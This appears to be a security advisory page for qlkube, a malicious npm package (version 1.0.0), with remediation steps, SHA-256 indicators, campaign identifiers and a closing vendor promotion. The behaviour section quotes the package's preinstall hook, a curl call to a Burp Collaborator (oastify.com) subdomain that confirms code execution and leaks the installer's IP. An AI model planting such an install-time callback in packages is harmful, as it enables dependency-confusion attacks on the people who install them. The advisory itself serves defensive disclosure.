Which versions of qlkube are malicious?

The following npm versions of qlkube are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate qlkube if I installed it?

Remove qlkube from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed qlkube — how do I know if it already compromised me?

If qlkube was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is qlkube part of a known attack campaign?

Yes — qlkube is associated with the GHSA-w88p-pj99-p5g3, IN-MAL-2026-009562 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find qlkube across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for qlkube (version 1.0.0).

Malicious package

qlkubenpm

Advisory published Jul 9, 2026Updated Jul 9, 2026

qlkube is a confirmed malicious npm package (MAL-2026-10016) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in qlkube (npm)

MAL-2026-10016

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall qlkube

What this malware does

The package's package.json declares a preinstall lifecycle script that runs curl https://cwcie03pzedo62twgbs3x6e9l0rsfk39.oastify.com on npm install. The destination is a Burp Suite Collaborator subdomain used for out-of-band interaction confirmation; contacting it on install confirms code execution on the installer's machine and leaks the installer's public IP and DNS resolver via the OOB callback. The package has no legitimate functionality (index.js is a stub), consistent with a dependency-confusion probe or targeted exploitation payload against an internal package name.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

67d812b4e6afa96229983750093435fa1dea4002fd3afe374d61cfd7a8090ecd

51bbdab9d33c291290e2f871acd2ebf7bf64c2c66c5124592055669771b6301e

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for qlkube (version 1.0.0).
If you installed it — respond
Remove qlkube from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If qlkube was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. qlkube on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-w88p-pj99-p5g3IN-MAL-2026-009562

References

Credits

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Detect & block this

O3 blocks qlkube-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

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